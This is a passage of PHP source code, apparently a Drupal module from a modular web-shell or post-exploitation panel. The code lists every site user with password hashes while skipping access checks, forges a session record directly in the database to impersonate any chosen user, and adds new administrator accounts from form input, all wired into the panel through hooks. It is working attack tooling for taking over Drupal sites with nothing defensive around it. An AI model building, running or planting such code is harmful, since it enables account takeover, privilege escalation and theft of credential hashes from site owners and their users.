$feature["op"] === $page));
$users = __PREFIX__getDrupalUsers();
$page_content = __PREFIX__makePage(
$features,
$css,
$page,
[__PREFIX__makePageHeader(
$feature[0]["title"],
$feature[0]["description"]
), __PREFIX__makeTable(
"Users",
"Drupal users to impersonate",
$users,
["username" => "Username", "email" => "Email", "active" => "Active", "blocked" => "Blocked", "roles" => "Roles", "actions" => "Actions"],
"
", __PREFIX__makeInput(
"text",
"Username",
"__PARAM_2__",
"admin",
"Username of the user to create.",
true
), __PREFIX__makeInput(
"text",
"Email",
"__PARAM_3__",
"admin@example.com",
"Email of the user to create.",
true
), __PREFIX__makeInput(
"password",
"Password",
"__PARAM_4__",
"••••••••",
"Password of the user to create.",
true
)],
"post",
"Create user",
"flex flex-col gap-y-6 mx-auto w-full"
)
. "
"
)]
);
}
/**
* Lists all Drupal users
*/
function __PREFIX__getDrupalUsers() {
global $IMPERSONATE_DRUPAL_USER;
if(!class_exists("Drupal\user\Entity\Role") || !class_exists("Drupal\user\Entity\User") ||
!class_exists("Drupal")) {
return [];
}
// Load all user roles.
$roles = \Drupal\user\Entity\Role::loadMultiple();
// Get all permissions.
$permissions = \Drupal::service('user.permissions')
->getPermissions();
// Get a list of all users.
$query = \Drupal::entityQuery('user')
->accessCheck(false);
$uids = $query->execute();
// Load user entities.
$users = \Drupal\user\Entity\User::loadMultiple($uids);
$result = [];
// Iterate through each user.
foreach ($users as $user) {
$partial_result = [];
$username = $user->getAccountName();
$partial_result["username"] = empty($username) ? "Anonymous" : $username;
$partial_result["id"] = $user->id();
$partial_result["email"] = $user->getEmail();
$partial_result["active"] = $user->isActive() ? "Yes" : "No";
$partial_result["blocked"] = $user->isBlocked() ? "Yes" : "No";
$partial_result["uuid"] = $user->uuid();
$partial_result["password"] = $user->getPassword();
$partial_result["actions"] = !empty($username)
? __PREFIX__makeForm(
$IMPERSONATE_DRUPAL_USER,
$_SERVER["REQUEST_URI"],
[__PREFIX__makeInput(
"hidden",
"Username",
"__PARAM_1__",
"",
"Username of the user to impersonate.",
true,
null,
$partial_result["id"]
)],
"post",
"Impersonate",
"flex flex-col max-w-xl mb-0"
)
: "";
// Get assigned roles for the user.
$user_roles = $user->getRoles();
$partial_result["roles"] = implode(", ", $user_roles);
$result[] = $partial_result;
}
return $result;
}
/**
* Impersonate a Drupal user
*
* @param $username string Username of the user to impersonate
*/
function __PREFIX__impersonateDrupalUser($id) {
if(!class_exists("Drupal\user\Entity\User") || !class_exists("Drupal") ||
!class_exists("Drupal\Component\Utility\Crypt")) {
if(!class_exists("Symfony\Component\HttpFoundation\RedirectResponse")) {
header("Location: " . $_SERVER['REQUEST_URI']);
return;
}
return new \Symfony\Component\HttpFoundation\RedirectResponse($_SERVER['REQUEST_URI']);
}
// Load the user by username.
$user = \Drupal\user\Entity\User::load($id);
// Check if the user exists.
if ($user) {
$database = \Drupal::database();
$auth = true;
$sf2_meta = [
// session timestamp
"u" => time(),
// login timestamp as from user_field_data
"c" => time(),
// max session lifetime as per core.services.yml
"l" => 2000000,
// csrf token seed - set via Crypt::randomBytesBase64()
"s" => \Drupal\Component\Utility\Crypt::randomBytesBase64(),
];
$sf2_attributes = ["uid" => "$id"];
$prefix = $database->getPrefix();
$forged_session = "auth|" .
serialize($auth) .
"_sf2_meta|" .
serialize($sf2_meta) .
"_sf2_attributes|" .
serialize($sf2_attributes);
try {
$database->query(
"update {$prefix}sessions as s set s.session=:a, timestamp=:b, uid=:c where sid=:d",
[":a" => $forged_session, ":b" => $sf2_meta['u'], ":c" => $id, ":d" => \Drupal\Component\Utility\Crypt::hashBase64(session_id())]
)
->execute();
}
catch (Exception) {
// Uncaught exception as for some reason it fail also when the query executes successfully
}
// Set the authenticated user
Drupal::currentUser()
->setAccount($user);
}
return new \Symfony\Component\HttpFoundation\RedirectResponse('/admin');
}
/**
* Adds a Drupal administrator user.
*
* @param $username string The username of the new user.
* @param $email string The email address of the new user.
* @param $password string The password for the new user.
*/
function __PREFIX__addDrupalAdministratorUser($username, $email, $password) {
if(!class_exists("Drupal\user\Entity\Role") || !class_exists("Drupal\user\Entity\User") ||
!class_exists("Drupal")) {
return;
}
// Load the user roles.
$roles = \Drupal\user\Entity\Role::loadMultiple();
// Define the roles for the administrator user.
$administrator_roles = ['administrator'];
// Create a new user entity.
$user = \Drupal\user\Entity\User::create();
// Set the username, email, and password.
$user->setUsername($username);
$user->setEmail($email);
$user->setPassword($password);
// Set the user status to active.
$user->activate();
// Assign roles to the user.
foreach ($administrator_roles as $role) {
if (isset($roles[$role])) {
$user->addRole($role);
}
}
// Save the user.
$user->save();
}
/**
* Handle the login operation
*
* @param $operation string The operation to handle
* @param $features array{title: string, description: string, svg: string, hidden?: bool, op: string}[] The features
* container
*
* @return mixed
*/
function __PREFIX__handleDrupalImpersonate($operation, $features) {
if (!empty($_POST["__PARAM_1__"])) {
return __PREFIX__impersonateDrupalUser($_POST["__PARAM_1__"]);
}
elseif (!empty($_POST["__PARAM_2__"]) &&
!empty($_POST["__PARAM_3__"]) &&
!empty($_POST["__PARAM_4__"])) {
__PREFIX__addDrupalAdministratorUser(
$_POST["__PARAM_2__"],
$_POST["__PARAM_3__"],
$_POST["__PARAM_4__"]
);
if(!class_exists("Symfony\Component\HttpFoundation\RedirectResponse")) {
header("Location: " . $_SERVER['REQUEST_URI']);
return;
}
return new \Symfony\Component\HttpFoundation\RedirectResponse($_SERVER["REQUEST_URI"]);
}
}
/**
* Hook the isolated operations to add the current operation
*
* @param $isolated_ops array The isolated operations container
*
* @return void
*/
function __PREFIX__drupalImpersonateHooksIsolatedOps(&$isolated_ops) {
global $IMPERSONATE_DRUPAL_USER;
$isolated_ops[] = $IMPERSONATE_DRUPAL_USER;
}
/**
* Hook the features to add the login feature
*
* @param $features array{title: string, description: string, svg: string, hidden?: bool, op: string}[] The features
* container
*
* @return void
*/
function __PREFIX__drupalImpersonateHooksFeatures(&$features) {
global $IMPERSONATE_DRUPAL_USER;
$features[] = ["title" => "Impersonate Drupal user", "description" => "Impersonate a Drupal user by changing the current session.", "svg" => '', "op" => $IMPERSONATE_DRUPAL_USER];
}
// section.functions.end
// section.hooks
add_hook("isolated_ops", "__PREFIX__drupalImpersonateHooksIsolatedOps");
add_hook("features", "__PREFIX__drupalImpersonateHooksFeatures");
add_named_hook("GET_page", $IMPERSONATE_DRUPAL_USER, "__PREFIX__makeDrupalImpersonatePage");
add_named_hook("POST_operation", $IMPERSONATE_DRUPAL_USER, "__PREFIX__handleDrupalImpersonate");
// section.hooks.end